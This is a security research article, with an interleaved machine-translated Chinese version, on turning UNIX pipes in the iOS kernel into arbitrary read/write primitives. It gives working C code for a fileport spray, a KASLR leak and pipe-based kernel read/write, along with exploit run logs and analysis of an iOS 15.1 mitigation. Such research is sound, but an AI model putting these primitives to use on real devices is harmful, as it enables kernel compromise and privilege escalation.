Exploring UNIX pipes for iOS kernel exploit primitives

Explore the use of UNIX pipes for iOS kernel exploit primitives in this insightful technical article. Learn how Corellium's magic can be used to practice and develop exploits without relying on vulnerabilities.
在这篇富有洞察力的技术文章中,探索 UNIX 管道对 iOS 内核漏洞利用原语的使用。了解如何在不依赖漏洞的情况下利用 Corellium 的魔力来练习和开发漏洞利用。
Exploring UNIX pipes for iOS kernel exploit primitives

Disclaimer: All technical explanations are to the best of my knowledge and subject to human fallibility. Concepts may be overly simplified intentionally or otherwise.

While playing with Corellium to practice developing exploits with previously-patched bugs, I started to think about how Corellium's hypervisor magic could be used to practice on generalized techniques even without an underlying vulnerability. A particular paragraph by Brandon Azad inspired the concept:
在使用 Corellium 练习使用以前修补的 bug 开发漏洞时,我开始思考如何使用 Corellium 的虚拟机管理程序魔法来练习通用技术,即使没有潜在的漏洞。布兰登·阿扎德(Brandon Azad)的一段话启发了这个概念:

"Second, I wanted to evaluate the technique independently of the vulnerability or vulnerabilities used to achieve it. It seemed that there was a good chance that the technique could be made deterministic (that is, without a failure case); implementing it on top of an unreliable vulnerability would make it hard to evaluate separately."

In the browser world, a typical exploit strategy would take two ArrayBuffer objects and point the backing store pointer from one at the other, such that arrayBuffer1 can change arrayBuffer2->backing_store_pointer arbitrarily and safely, such as in this example from my Tesla Browser exploit:
在浏览器世界中,典型的漏洞利用策略会获取两个 ArrayBuffer 对象,并将后备存储指针从一个指向另一个对象,这样可以 arrayBuffer1 任意且安全地更改 arrayBuffer2->backing_store_pointer ,例如我的 Tesla 浏览器漏洞利用示例:

Exploring UNIX pipes for iOS kernel exploit primitives

The important part of the above diagram is the green box, corresponding to arrayBuffer1and its backing store pointer containing the address of arrayBuffer2 (the standalone gray box on the right). By indexing into arrayBuffer1, fields within arrayBuffer2 can be modified, especially arrayBuffer2->backing_store_pointer. Indexing into arrayBuffer2 will now read/write the desired arbitrary address.
上图的重要部分是绿色框,对应于 arrayBuffer1 ,以及包含地址 arrayBuffer2 的后备存储指针(右侧的独立灰色框)。通过索引到 arrayBuffer1 ,可以修改其中 arrayBuffer2 的字段,尤其是 arrayBuffer2->backing_store_pointer . 索引现在 arrayBuffer2 将读取/写入所需的任意地址。

The iOS kernel, having a BSD component, contains an obvious equivalent: UNIX pipes. The pipe APIs are used much like files in typical UNIX fashion, but rather than being backed by a file on disk, their contents are stored in the kernel's address space in the form of a "pipe buffer" which is a separate allocation (by default 512 bytes, but can be expanded by writing more data to the pipe). Controlling the pipe buffer pointer creates arbitrary read/write primitives in the same way as controlling an ArrayBuffer's backing store pointer in a Javascript engine.
iOS内核有一个BSD组件,包含一个明显的等价物:UNIX管道。管道 API 的使用方式与典型 UNIX 方式中的文件非常相似,但它们的内容不是由磁盘上的文件支持,而是以“管道缓冲区”的形式存储在内核的地址空间中,这是一个单独的分配(默认为 512 字节,但可以通过向管道写入更多数据来扩展)。控制管道缓冲区指针创建任意读/写基元的方式与在 Javascript 引擎中控制 ArrayBuffer 后备存储指针的方式相同。

For example, this snippet will create a pipe, which is represented as a pair of file descriptors (one "read end" and one "write end"), and then write 32 bytes of A:
例如,此代码段将创建一个管道,该管道表示为一对文件描述符(一个“读取端”和一个“写入端”),然后写入 32 个字节的 A :

int pipe_pairs[2] = {0}; 
if (pipe(pipe_pairs)) { 
        fprintf(stderr, "[!] Failed to create pipe: %s\n", strerror(errno)); 
printf("Pipe read end fd: %d\n", pipe_pairs[0]); 
printf("Pipe write end fd: %d\n", pipe_pairs[1]); 
char pipe_buf_contents[32]; 
memset(pipe_buf_contents, 0x41, sizeof(pipe_buf_contents)); 
write(pipe_pairs[1], &pipe_buf_contents, sizeof(pipe_buf_contents)); 
char buf[33] = {0}; 
read(pipe_pairs[0], &buf, 32); 
printf("Read from pipe: %s\n", buf);

This creates at least two kernel allocations: A struct pipe and the pipe buffer itself. To build out the technique, we first need a simulated vulnerability.
这将创建至少两个内核分配:A struct pipe 和管道缓冲区本身。为了构建该技术,我们首先需要一个模拟的漏洞。

Corellium is Magic Corellium是魔术

Corellium has a very neat feature that allows userland code to arbitrarily read/write kernel memory. While this will be perfectly reliable, for the sake of argument we'll pretend that there's a chance of failure leading a kernel panic. Thus, the whole point of the pipe technique is to "promote" from unreliable primitives to better primitives. Our example primitives will be an arbitrary read of 0x20 bytes (randomly chosen) and arbitrary 64-bit write^1:
Corellium 有一个非常简洁的功能,它允许用户空间代码任意读/写内核内存。虽然这是完全可靠的,但为了论证,我们将假装失败可能会导致内核恐慌。因此,管道技术的全部意义在于从不可靠的基元“提升”到更好的基元。我们的示例原语将是字节的 0x20 任意读取(随机选择)和任意 64 位写入 ^1:

/* Simulate a 0x20 byte read from an arbitrary kernel address, representative of a primitive from a bug. 
* Caller is responsible for freeing the buffer. 
static char *corellium_read(uint64_t kaddr_to_read) { 
        char *leak = calloc(1, 128); 
        unicopy(UNICOPY_DST_USER|UNICOPY_SRC_KERN, (uintptr_t)leak, kaddr_to_read, 0x20); 
        return leak; 
/* Simulate a 64-bit arbitrary write */ 
static void corellium_write64(uintptr_t kaddr, uint64_t val) { 
        uint64_t value = val; 
        unicopy(UNICOPY_DST_KERN|UNICOPY_SRC_USER, kaddr, (uintptr_t)&value, sizeof(value)); 

For additional realism we could add a random chance of failure, for example 10% chance of causing a kernel panic for each usage, or increasing the probability of failure each time. For the purpose of building out the technique I decided to keep it at 100% reliable, however.
为了增加真实感,我们可以添加一个随机的失败几率,例如每次使用导致内核崩溃的几率为 10%,或者每次增加失败的概率。然而,为了构建技术,我决定将其保持在 100% 的可靠性。

Importantly, these primitives don't provide a KASLR^2 leak, so part of the development process will be working around that weakness. Corellium does have another magic hvc call that gives the kernel base address, but I chose not to use it.
重要的是,这些原语不提供 KASLR ^2 泄漏,因此开发过程的一部分将围绕该弱点进行工作。Corellium 确实有另一个神奇 hvc 的调用,它提供了内核基址,但我选择不使用它。

Building up the pipe primitives

To start, we need two pipes, with allocated buffers. This is very similar to the basic pipe example above: 

// Create two pipes 
int pipe_pairs[4] = {0}; 
for (int i = 0; i < 4; i += 2) { 
        if (pipe(&pipe_pairs[i])) { 
                fprintf(stderr, "[!] Failed to create pipe: %s\n", strerror(errno)); 
char pipe_buf_contents[64]; 
memset(pipe_buf_contents, 0x41, sizeof(pipe_buf_contents)); 
write(pipe_pairs[1], &pipe_buf_contents, sizeof(pipe_buf_contents)); 
memset(pipe_buf_contents, 0x42, sizeof(pipe_buf_contents)); 
write(pipe_pairs[3], &pipe_buf_contents, sizeof(pipe_buf_contents));

Now we need to locate these structures in kernel memory. One approach would be to use the arbitrary read to walk the struct proc linked list to find the exploit process, then walk its p_fd->fd_ofiles array to find the pipe's fileglob, and finally read fileglob->fg_data, which will be a struct pipe. Unfortunately, that requires many reads, and we're pretending that the read primitive is unreliable. It also requires knowing the KASLR slide in order to find the head of the struct proc list. We need a different approach.
现在我们需要在内核内存中找到这些结构。一种方法是使用任意读取遍历 struct proc 链表以查找漏洞利用过程,然后遍历其 p_fd->fd_ofiles 数组以查找管道的 ,最后读取 fileglob fileglob->fg_data ,这将是一个 struct pipe .不幸的是,这需要多次读取,我们假装读取原语不可靠。它还需要了解 KASLR 幻灯片才能找到 struct proc 列表的头部。我们需要一种不同的方法。

Fileports: The Reese's Peanut Butter Cup of XNU
文件端口:XNU 的 Reese's 花生酱杯

There's an API for sharing a UNIX file descriptor via Mach ports, and spraying Mach ports has been a common technique for quite some time. The fileport creation API is very simple:
有一个 API 用于通过 Mach 端口共享 UNIX 文件描述符,并且喷洒 Mach 端口在相当长的一段时间内一直是一种常见的技术。文件端口创建 API 非常简单:

int pipe_read_fd = [...]; // Assume this was created elsewhere 
mach_port_t my_fileport = MACH_PORT_NULL; 
kern_return_t kr = fileport_makeport(pipe_read_fd, &my_fileport);

By making a huge number of these (say, 100k), the odds of one of the Mach ports landing at a predictable address are quite high. The port's kobject field points to the pipe's fileglob object. This contains two very useful fields:
通过制造大量这些端口(例如,100k),其中一个马赫端口降落在可预测地址的几率非常高。端口 kobject 的字段指向管道 fileglob 的对象。这包含两个非常有用的字段:

  1. fg_ops: a pointer to an array of function pointers. This is how the kernel knows to call pipe_read rather than vn_read (used for regular files on disk). This pointer is within the kernel's __DATA_CONST section, which means that it's a KASLR leak!

  2. fg_data: a pointer to the struct pipe, which is what we wanted in the first place.

The struct pipe then contains an embedded structure (struct pipebuf) which holds the address of the pipe buffer^3. With two uses of the arbitrary read, we can identify the address of a struct pipe. For our purposes, we have to do it again to locate pipe2, so a total of four uses of the arbitrary read. But how do we figure out which kernel address to guess?


Rather than wildly guessing, we can use hypervisor hooks to output the address of each fileport allocation, and then pick one that shows up in multiple runs.

The hooks are placed via a debugger command, but run independently of the debugger after that. Consequently, they run much faster than breakpoints, and can log directly to the device's virtual console, which will make it easy to extract the data for later analysis.

Our hook will be about as trivial as possible: Simply print the value of a register when a particular address is executed. This is performed with a limited C-like syntax in the form of a one-liner:
我们的钩子将尽可能简单:只需在执行特定地址时打印寄存器的值。这是使用有限的类似 C 的语法以单行形式执行的:

(lldb) process plugin packet monitor patch 0xFFFFFFF00756F4F8 print_int("Fileport allocated", cpu.x[0]); print("\n");

process plugin packet monitor is lldb's overly verbose syntax for sending raw "monitor" commands^4 to the remote debugger stub. The hooks documentation says that these commands are "generally not available" with lldb, but at least this basic hook seems to work.
process plugin packet monitor 是 LLDB 过于冗长的语法,用于将原始“监视器”命令 ^4 发送到远程调试器存根。hooks 文档说这些命令在 lldb 中“通常不可用”,但至少这个基本钩子似乎有效。

The rest of the command hooks the desired address and prints the contents of the X0 register to the device's console. Fortunately, the output of hooks are displayed in a different text color, so it's easy to spot.
命令的其余部分挂接所需的地址,并将 X0 寄存器的内容打印到设备的控制台。幸运的是,钩子的输出以不同的文本颜色显示,因此很容易被发现。

To prepare the hook, we need to identify an address to patch where the address of the new allocation will be in a register. Looking at the implementation of fileport_makeport:
为了准备钩子,我们需要确定一个地址来修补新分配的地址将在寄存器中的位置。看实现: fileport_makeport

sys_fileport_makeport(proc_t p, struct fileport_makeport_args *uap, __unused int *retval) 
        int err; 
        int fd = uap->fd; // [1] 
        user_addr_t user_portaddr = uap->portnamep; 
        struct fileproc *fp = FILEPROC_NULL; 
        struct fileglob *fg = NULL; 
        ipc_port_t fileport; 
        mach_port_name_t name = MACH_PORT_NULL;
        err = fp_lookup(p, fd, &fp, 1); // [2] 
        if (err != 0) { 
                goto out_unlock; 
        fg = fp->fp_glob; // [3] 
        if (!fg_sendable(fg)) { 
                err = EINVAL; 
                goto out_unlock; 
        /* Allocate and initialize a port */ 
        fileport = fileport_alloc(fg); // [4] 
        if (fileport == IPC_PORT_NULL) { 
                err = EAGAIN; 
                goto out; 

At mark #1, the file descriptor is received from the arguments structure, and will match the same integer representation of the pipe's fd as seen in userspace.
在标记 #1 处,文件描述符是从参数结构中接收的,并且将与用户空间中看到的管道 fd 的相同整数表示形式匹配。

Mark #2 performs the translation of the fd (e.g. 3) to a pointer to the fileproc object representing the pipe in the kernel's memory. Then at mark #3, the fp_glob pointer is dereferenced, retrieving the fileglob for the pipe.
标记 #2 将 fd(例如 3)转换为指向内核内存中表示管道 fileproc 的对象的指针。然后在标记 #3 处, fp_glob 指针被取消引用,检索管道的 fileglob 。

Mark #4 creates the Mach port, which wraps the fileglob object, placing its pointer in the kobject field. fileport is the address we want to log, and it's the return value from fileport_alloc, so it'll be in the X0 register. Let's take a look at fileport_alloc:
标记 #4 创建马赫端口,该端口包装 fileglob 对象,将其指针放在 kobject 字段中。 fileport 是我们要记录的地址,它是 的 fileport_alloc 返回值,因此它将在 X0 寄存器中。让我们来看看fileport_alloc:

fileport_alloc(struct fileglob *fg) 
        return ipc_kobject_alloc_port((ipc_kobject_t)fg, IKOT_FILEPORT,

This function is short and only referenced once, so it'll likely be inlined. Now that we know the lay of the land, we need to find the equivalent code inside the kernelcache. Fortunately, jtool2 can help with that. After downloading the kernelcache from the Corellium web interface's "Connect" tab, jtool2's analyze feature can be used to create a symbol cache file:
此函数很短,仅引用一次,因此它可能会被内联。现在我们知道了这片土地的布局,我们需要在内核缓存中找到等效的代码。幸运的是,jtool2 可以帮助解决这个问题。从 Corellium Web 界面的“连接”选项卡下载内核缓存后, jtool2 可以使用 的 analyze 功能创建符号缓存文件:

$ jtool2 --analyze kernel-iPhone9,1-18F72
Analyzing kernelcache.. 
This is an old-style A10 kernelcache (Darwin Kernel Version 20.5.0: Sat May 8 02:21:50 PDT 2021; root:xnu-7195.122.1~4/RELEASE_ARM64_T8010)
Warning: This version of joker supports up to Darwin Version 19 - and reported version is 20 
-- Processing __TEXT_EXEC.__text.. 
Disassembling 6655836 bytes from address 0xfffffff007154000 (offset 0x15001c): 
__ZN11OSMetaClassC2EPKcPKS_j is 0xfffffff0076902f8 (OSMetaClass) 
Can't get IOKit Object @0x0 (0xfffffff007690b5c) 
opened companion file ./kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB 
Dumping symbol cache to file 
Symbolicated 7298 symbols and 9657 functions

And then that file can be grepped to find the two symbols we need:

$ grep ipc_kobject_alloc_port kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB 
$ grep fileport_makeport kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB 

Now we simply locate the call to ipc_kobject_alloc_port from within fileport_makeport:

Exploring UNIX pipes for iOS kernel exploit primitives

The instruction after the call is the one to hook, so 0xFFFFFFF00756F4F8 (unslid). Since KASLR is enabled, patching this address directly won't work^5. Fortunately, as previously mentioned there's yet another bit of hypervisor magic: a way to obtain the slid kernel base from userspace by calling their provided get_kernel_addr function:

#define KERNEL_BASE 0xFFFFFFF007004000 
uint64_t kslide = get_kernel_addr(0) - KERNEL_BASE; 
printf("Kernel slide: 0x%llx\n", kslide); 
printf("Place hypervisor hook:\n"); 
uint64_t patch_address = g_kparams->fileport_allocation_kaddr+kslide; 
printf("\tprocess plugin packet monitor patch 0x%llx print_int(\"Fileport allocated\", cpu.x[0]); print(\"\\n\");\n", patch_address); 
printf("Press enter to continue\n"); 

By placing this snippet at the beginning of the exploit, it provides a moment to get the debugger attached and install the hook, providing the correct slid address for the given kernelcache.

Once the hook is in place, we perform the spray of 100k fileports and select an allocation to use as the guess going forward. I simply scrolled up a bit and picked one at random about 3/4 of the way down the list, and that seems to work well enough for a proof of concept. A more serious implementation would track ranges over multiple runs and try to pick an address with a known high probabilty of landing the spray, such as in Justin Sherman's IOMobileFrameBuffer exploit.
钩子到位后,我们执行 100k 文件端口的喷射,并选择一个分配作为未来的猜测。我只是简单地向上滚动了一下,并在列表下方的 3/4 左右随机选择了一个,这似乎足以进行概念验证。更严肃的实现将跟踪多次运行的范围,并尝试选择一个已知的着陆概率很高的地址,例如在 Justin Sherman 的 IOMobileFrameBuffer 漏洞利用中。

Now that we have a guess, we can perform the same spray twice (once per pipe read-end fd) and read the kobject field to locate the struct pipe. Here's the full implementation:
现在我们有了猜测,我们可以执行两次相同的喷雾(每个管道读取端 fd 一次)并读取 kobject 字段以定位 struct pipe .以下是完整的实现:

struct kpipe { 
        int rfd; 
        int wfd; 
        uint64_t fg_ops; 
        uint64_t r_fg_data; 
static struct kpipe *find_pipe(int rfd, int wfd) { 
        struct kpipe *kp = NULL; 
        char *leak = NULL; 
        char *fileglob = NULL; 
        char *fg_data = NULL; 
        printf("[*] Spraying fileports\n"); 
        mach_port_t fileports[NUM_FILEPORTS] = {0}; 
        for (int i = 0; i < NUM_FILEPORTS; i++) { 
                kern_return_t kr = fileport_makeport(rfd, &fileports[i]); 
        printf("[*] Done spraying fileports\n"); 
        // No need to continue, just exit 
        printf("[*] Finished creating memory sample, exiting\n"); 
        uint64_t kaddr_to_read = g_kparams->fileport_kaddr_guess; 
        leak = read_kernel_data(kaddr_to_read+g_kparams->kobject_offset); // port->kobject, should point to a struct fileglob 
        if (!leak) { 
                printf("[!] Failed to read kernel data, will likely panic soon\n"); 
                goto out; 
        uint64_t pipe_fileglob_kaddr = *(uint64_t *)leak; 
        if ((pipe_fileglob_kaddr & 0xff00000000000000) != 0xff00000000000000) { 
                printf("[!] Failed to land the fileport spray\n"); 
                goto out; 
        pipe_fileglob_kaddr |= 0xffffff8000000000; // Pointer might be PAC'd 
        printf("[*] Found pipe structure: 0x%llx\n", pipe_fileglob_kaddr); 
        // +0x28 points to fg_ops to leak the KASLR slide 
        // +0x38 points to fg_data (struct pipe) 
        fileglob = read_kernel_data(pipe_fileglob_kaddr+0x28); 
        if (!fileglob) { 
                printf("[!] Failed to read kernel data, will likely panic soon\n"); 
                goto out; 
        kp = calloc(1, sizeof(struct kpipe)); 
        kp->rfd = rfd; 
        kp->wfd = wfd; 
        kp->fg_ops = *(uint64_t *)fileglob; 
        kp->r_fg_data = *(uint64_t *)(fileglob+0x10); 
        printf("[*] pipe fg_ops: 0x%llx\n", kp->fg_ops); 
        printf("[*] pipe r_fg_data: 0x%llx\n", kp->r_fg_data); 
        for (int i = 0; i < NUM_FILEPORTS; i++) { 
                kern_return_t kr = mach_port_destroy(mach_task_self(), fileports[i]); 
#define FREE(m) free(m); m = NULL; 
#undef FREE 
        return kp; 

Plumbing the pipes together

Now that we know where our pipes are, we can simply write a single 64-bit value and have a reliable method of arbitrary read/write! struct pipe contains an embedded structure, struct pipebuf, which contains all of the fields we care about:
现在我们知道了管道的位置,我们可以简单地写入单个 64 位值,并拥有可靠的任意读/写方法! struct pipe 包含一个嵌入式结构, struct pipebuf 其中包含我们关心的所有字段:

struct pipebuf { 
        u_int cnt; /* number of chars currently in buffer */ 
        u_int in; /* in pointer */ 
        u_int out; /* out pointer */ 
        u_int size; /* size of buffer */ 
        caddr_t OS_PTRAUTH_SIGNED_PTR("pipe.buffer") buffer; /* kva of buffer */ 
        caddr_t buffer; /* kva of buffer */ 
#endif /* KERNEL */ 

The in and out fields are used as cursors to keep track of the current offsets for write and read operations on a pipebuf, and the buffer field points to the kernel memory containing the pipe's data. The next step is very simple, just set pipe1's buffer address (offset +0x10 from the struct pipe) to the address of pipe2's struct proc:

 ctx->pipe1 = find_pipe(pipe_pairs[0], pipe_pairs[1]); 
ctx->pipe2 = find_pipe(pipe_pairs[2], pipe_pairs[3]); 
// Set pipe1's buffer to point to pipe2's fg_data 
printf("[*] Setting pipe1->buffer (0x%llx) to pipe2's fg_data (0x%llx)...\n", (ctx->pipe1->r_fg_data+0x10), ctx->pipe2->r_fg_data); 
kwrite64(ctx->pipe1->r_fg_data+0x10, ctx->pipe2->r_fg_data);

And now by reading from and writing to pipe1, we can control the buffer pointer and in/out fields of pipe2 reliably and safely:
现在通过读取和写入 pipe1 ,我们可以 pipe2 可靠、安全地控制缓冲区指针和 in / out 字段:

int pipe_kread(uint64_t kaddr, void *buf, size_t len) { 
        struct pipe_rw_context *ctx = g_pipe_rw_ctx; 
        read(ctx->pipe1->rfd, &ctx->prw, sizeof(ctx->prw)); 
        ctx->prw.cnt = len; 
        ctx->prw.size = len; 
        ctx->prw.buffer = kaddr; 
        ctx->prw.in = 0; 
        ctx->prw.out = 0; 
        write(ctx->pipe1->wfd, &ctx->prw, sizeof(ctx->prw)); 
        return read(ctx->pipe2->rfd, buf, len); 

Where prw is a structure matching the layout of struct pipebuf:
其中 prw 的结构与布局 struct pipebuf: 相匹配

struct pipe_rw { 
        u_int cnt; 
        u_int in; 
        u_int out; 
        u_int size; 
        uint64_t buffer; 

And then the write primitive works similarly:
然后 write 原语的工作方式类似:

int pipe_kwrite(uint64_t kaddr, void *buf, size_t len) { 
        struct pipe_rw_context *ctx = g_pipe_rw_ctx; 
        read(ctx->pipe1->rfd, &ctx->prw, sizeof(ctx->prw)); 
        if (len < 0x200) { 
                ctx->prw.size = 0x200; // Original value, this works, but what if we write more than 0x200 bytes? 
        } else if (len < 0x4000) { 
                ctx->prw.size = 0x4000; 
        } else { 
                errx(EXIT_FAILURE, "[!] Writes of size >=0x4000 are not supported!\n"); 
        ctx->prw.cnt = len; 
        ctx->prw.buffer = kaddr; 
        ctx->prw.in = 0; 
        ctx->prw.out = 0; 
        write(ctx->pipe1->wfd, &ctx->prw, sizeof(ctx->prw)); 
        return write(ctx->pipe2->wfd, buf, len); 

Now that the new primitives are set up, we can test them out by reading and writing some known values, for example the version string^6 and a sysctl that has been used in the past for flagging previous exploitation:
现在新的原语已经设置好了,我们可以通过读取和写入一些已知值来测试它们,例如版本字符串 ^6 和过去用于标记先前漏洞利用的 sysctl:

// Example of arbitrary read 
printf("[*] Beginning arbitrary read of kernel version string...\n"); 
char version[128] = {0}; 
pipe_kread(g_kparams->version_string_kaddr+g_pipe_rw_ctx->kslide, &version, sizeof(version)); 
hexdump(version, sizeof(version)); 
// Example of arbitrary write 
printf("[*] Beginning arbitrary write of kern.maxfilesperproc...\n"); 
pipe_kwrite32(g_kparams->maxfilesperproc_kaddr+g_pipe_rw_ctx->kslide, 0x41414141); 
int maxfilesperproc = 0; 
size_t sysctl_size = sizeof(int); 
if (sysctlbyname("kern.maxfilesperproc", &maxfilesperproc, &sysctl_size, NULL, 0)) { 
        errx(EXIT_FAILURE, "sysctlbyname: %s\n", strerror(errno)); 
printf("[*] kern.maxfilesperproc: %d (0x%x)\n", maxfilesperproc, maxfilesperproc);

Putting it all together and running the exploit looks like this:

sh-5.0# /tmp/pipe_rw 
[*] Detected iPhone9,1/18F72 (14.6) 
[*] Spraying fileports 
[*] Done spraying fileports 
[*] Found pipe structure: 0xffffffe19bcc3540 
[*] pipe fg_ops: 0xfffffff00acd9640 
[*] pipe r_fg_data: 0xffffffe19bc3c9e8 
[*] KASLR slide: 0x3bac000 
[*] Spraying fileports 
[*] Done spraying fileports 
[*] Found pipe structure: 0xffffffe19d0eb7e0 
[*] pipe fg_ops: 0xfffffff00acd9640 
[*] pipe r_fg_data: 0xffffffe19bc3cb50 
[*] Setting pipe1->buffer (0xffffffe19bc3c9f8) to pipe2's fg_data (0xffffffe19bc3cb50)... 
[*] Beginning arbitrary read of kernel version string... 
0x000000: 44 61 72 77 69 6e 20 4b 65 72 6e 65 6c 20 56 65 Darwin Kernel Ve 
0x000010: 72 73 69 6f 6e 20 32 30 2e 35 2e 30 3a 20 53 61 rsion 20.5.0: Sa 
0x000020: 74 20 4d 61 79 20 20 38 20 30 32 3a 32 31 3a 35 t May 8 02:21:5 
0x000030: 30 20 50 44 54 20 32 30 32 31 3b 20 72 6f 6f 74 0 PDT 2021; root 
0x000040: 3a 78 6e 75 2d 37 31 39 35 2e 31 32 32 2e 31 7e :xnu-7195.122.1~ 
0x000050: 34 2f 52 45 4c 45 41 53 45 5f 41 52 4d 36 34 5f 4/RELEASE_ARM64_ 
0x000060: 54 38 30 31 30 00 00 00 00 14 00 00 00 05 00 00 T8010........... 
0x000070: 00 00 00 00 00 80 00 00 00 00 00 00 00 30 00 72 .............0.r 
[*] Beginning arbitrary write of kern.maxfilesperproc... 
[*] kern.maxfilesperproc: 1094795585 (0x41414141) 
Done, entering infinite loop, will panic on termination

Note that when the pipe file descriptors are closed (which happens automatically when the process terminates), the kernel will panic. This is because it will try to free the pipe buffer, which for pipe2 will point to wherever was last read/written, and for pipe1 will point to pipe2. This creates a chicken-and-egg scenario, as the pipes can't be used to fix themselves up before being closed. For testing purposes, I opted to simply hang forever.
请注意,当管道文件描述符关闭时(当进程终止时自动发生),内核将崩溃。这是因为它将尝试释放管道缓冲区,该缓冲区 for 将指向上次读取/写入的位置,而 for pipe2 pipe1 将指向 pipe2 。这就造成了先有鸡还是先有蛋的情况,因为管道在关闭之前不能用于自我修复。出于测试目的,我选择永远挂起。

At this point a full proof-of-concept would go through the standard procedure of escalating privileges and unsandboxing.

Testing on iOS 15.1
在 iOS 15.1 上测试

We'd like the technique to be generalized and work on newer versions of iOS as well, so the next step is to create a virtual iPhone 7 with iOS 15.1 and find the parts that are different. Of course static kernel addresses like the fg_ops field on a pipe and the kernel version string will be different, and likely the guessed kernel address for the spray will change. After performing the same steps of examining the kernelcache and sampling the fileports spray, here are the two sets of parameters together, first from iOS 14.6 and then from 15.1 (both on iPhone 7):
我们希望该技术能够推广并适用于较新版本的 iOS,因此下一步是使用 iOS 7 创建虚拟 iPhone 15.1 并找到不同的部分。当然,静态内核地址(如管道上的 fg_ops 字段和内核版本字符串)会有所不同,并且可能会更改 spray 的猜测内核地址。在执行了检查内核缓存和采样文件端口喷雾的相同步骤后,这里是两组参数,首先是 iOS 14.6,然后是 15.1(均在 iPhone 7 上):

static struct kernel_params iPhone7_18F72 = { 
        .kobject_offset = 0x68, 
        .pipe_ops_kaddr = 0xfffffff00712d640, 
        .version_string_kaddr = 0xFFFFFFF00703BB17, 
        .maxfilesperproc_kaddr = 0xfffffff0077d07f0, 
        .fileport_kaddr_guess = 0xffffffe19debc540, 
        .fileport_allocation_kaddr = 0xFFFFFFF00756F4F8, 
static struct kernel_params iPhone7_19B74 = { 
        .kobject_offset = 0x58, 
        .pipe_ops_kaddr = 0xFFFFFFF007143AC8,  
        .version_string_kaddr = 0xFFFFFFF00703BCBE, 
        .maxfilesperproc_kaddr = 0xFFFFFFF007834AE8, 
        .fileport_kaddr_guess = 0xffffffe0f7678820,  
        .fileport_allocation_kaddr = 0xFFFFFFF0075A8EF4, 

The only unexpected change was the kobject offset within the Mach port object. In theory, with all of this filled in the technique should "just work."
唯一出乎意料的变化是马赫端口对象内的 kobject 偏移量。从理论上讲,在填写完所有这些内容后,该技术应该“正常工作”。

Well, almost:  嗯,差不多:

sh-5.0# /tmp/pipe_rw 
[*] Detected iPhone9,1/19B74 (15.1) 
[*] Spraying fileports 
[*] Done spraying fileports 
[*] Found pipe structure: 0xffffffe0f6b7c600 
[*] pipe fg_ops: 0xfffffff01a677ac8 
[*] pipe r_fg_data: 0xffffffe0f46b09e8 
[*] KASLR slide: 0x13534000 
[*] Spraying fileports 
[*] Done spraying fileports 
[*] Found pipe structure: 0xffffffe0f6b7c720 
[*] pipe fg_ops: 0xfffffff01a677ac8 
[*] pipe r_fg_data: 0xffffffe0f46b0b50 
[*] Setting pipe1->buffer (0xffffffe0f46b09f8) to pipe2's fg_data (0xffffffe0f46b0b50)... 
[*] Beginning arbitrary read of kernel version string... 
panic(cpu 0 caller 0xfffffff01ad357c4): kalloc_data_require failed: address 0xffffffe0f46b0b50 in [pipe zone] @kalloc.c:1776 

This appears to be a new, albeit small mitigation specifically designed to counter this technique!

Opening up the kernelcache in a disassembler and finding the panic call by cross-referencing the string, it appears that this is only used within pipe_read and pipe_write. This appears to be conceptually similar to zone_require, integrating an element of kheaps. Essentially, pipe buffers under normal circumstances should only contain "data", or blobs that have no particular meaning to the kernel.
在反汇编器中打开内核缓存并通过交叉引用字符串来查找紧急调用,这似乎仅在 和 pipe_write 中使用 pipe_read 。这在概念上似乎类似于 zone_require ,集成了 的 kheaps 元素。从本质上讲,在正常情况下,管道缓冲区应该只包含“数据”,或者对内核没有特殊意义的 blob。

The decompilation is relatively straightforward (although not entirely accurate, but it's sufficient for a high-level understanding): looking up the relevant page in the zone metadata and checking a flag that indicates whether the allocation is from a KHEAP_DATA_BUFFERS zone.
反编译相对简单(虽然不完全准确,但对于高级理解来说已经足够了):在区域元数据中查找相关页面,并检查指示分配是否来自 KHEAP_DATA_BUFFERS 区域的标志。

void __fastcall kalloc_data_require(unsigned __int64 kaddr, unsigned __int64 size) 
  __int64 zone_index; // x8 
  unsigned __int16 *v3; // x8 
  if ( kaddr + size 
    || (zone_index = *(_WORD *)(16LL * (unsigned int)(kaddr >> 14)) & 0x7FF, (zone_security_array[zone_index] & 6) != 4) 
    || ((_DWORD)zone_index != 3 ? (v3 = (unsigned __int16 *)&qword_FFFFFFF0078510A8[21 * zone_index + 6] + 3) : (v3 = (unsigned __int16 *)&unk_FFFFFFF0070FE812), 
        *v3 < size) ) 
    kalloc_data_require_panic(kaddr, size); 
void __fastcall __noreturn kalloc_data_require_panic(unsigned __int64 kaddr, __int64 size) 
  __int64 zone_index; // x8 
  const char *v3; // x9 
  const char *v4; // x10 
  unsigned __int16 *zone_allocation_size; // x8 
  if ( kaddr + size ) 
    "kalloc_data_require failed: address %p not in zone native map @%s:%d", 
    (const void *)kaddr, 
  zone_index = *(_WORD *)(16LL * (unsigned int)(kaddr >> 14)) & 0x7FF; 
  if ( (unsigned int)zone_index < 0x28A ) 
    v3 = (const char *)*((_QWORD *)&off_FFFFFFF0070FAD38 
                        + (((unsigned __int64)(unsigned __int8)zone_security_array[zone_index] >> 1) & 3)); 
    v4 = (const char *)qword_FFFFFFF0078510A8[21 * zone_index + 2]; 
    if ( (zone_security_array[zone_index] & 6) == 4 ) 
      if ( (_DWORD)zone_index == 3 ) 
        zone_allocation_size = (unsigned __int16 *)&unk_FFFFFFF0070FE812; 
        zone_allocation_size = (unsigned __int16 *)&qword_FFFFFFF0078510A8[21 * zone_index + 6] + 3; 
        "kalloc_data_require failed: address %p in [%s%s], size too large %zd > %zd @%s:%d", 
        (const void *)kaddr, 
    panic("kalloc_data_require failed: address %p in [%s%s] @%s:%d", (const void *)kaddr, v3, v4, "kalloc.c", 1776LL); 
  panic_zone_is_outside_zone_array(&qword_FFFFFFF0078510A8[21 * zone_index]); 

For more accuracy, here's the disassembly^7 with some notes:
为了更准确,这里是拆解 ^7 和一些注释:

Exploring UNIX pipes for iOS kernel exploit primitives

In earlier versions of XNU, pipe buffers would be allocated by kalloc:
在早期版本的 XNU 中,管道缓冲区将由 kalloc:

static int 
pipespace(struct pipe *cpipe, int size) 
    vm_offset_t buffer; 
        if (size <= 0) { 
                return EINVAL; 
        if ((buffer = (vm_offset_t)kalloc(size)) == 0) { 
                return ENOMEM; 
        /* free old resources if we're resizing */ 
